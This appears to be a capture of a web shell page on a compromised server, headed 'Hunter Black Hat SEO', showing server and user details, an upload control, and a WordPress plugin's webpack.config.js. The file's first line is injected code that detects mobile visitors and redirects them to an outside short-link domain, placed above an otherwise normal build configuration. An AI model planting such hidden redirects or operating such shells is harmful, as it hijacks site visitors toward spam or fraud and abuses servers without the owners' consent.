Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/dunyagozbalkans.com/wp-content/plugins/yith-woocommerce-compare/webpack.config.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
const path = require( 'path' ),
	defaultConfig = require( '@wordpress/scripts/config/webpack.config' ),
	WooCommerceDependencyExtractionWebpackPlugin = require( '@woocommerce/dependency-extraction-webpack-plugin' );

module.exports = {
	...defaultConfig,
	devtool    : 'source-map',
	entry      : {
		'frontend': './assets/js/src/frontend.js',
		'admin': './assets/js/src/admin.js',
	},
	mode: 'production',
	module: {
		rules: [
			{
				test: /\.(js|jsx)$/,
				exclude: /(node_modules|bower_components)/,
				use: {
					loader: 'babel-loader',
					options: {
						presets: [ '@babel/preset-env', '@babel/react' ],
						plugins: [ [ '@babel/transform-runtime' ] ],
					},
				}
			}
		]
	},
	optimization: {
		minimize: false,
	},
	output     : {
		filename: (pathData) => {
			let name = pathData.chunk.name,
				components = name.split( '/' ),
				fileName = components?.[components.length - 1];

			fileName = `woocompare-${fileName}`
				.replace('-frontend', '');

			components[components.length - 1] = `${fileName}.js`;

			return components.join( '/' );
		},
		path: path.resolve( __dirname, 'assets/js' ),
		libraryTarget: 'window'
	},
	resolve: {
		extensions: ['*', '.js', '.jsx'],
	},
	plugins: [
		...defaultConfig.plugins.filter(
			( plugin ) =>
				! [
					'DependencyExtractionWebpackPlugin',
					'CleanWebpackPlugin',
				].includes( plugin.constructor.name )
		),
		new WooCommerceDependencyExtractionWebpackPlugin(),
	],
};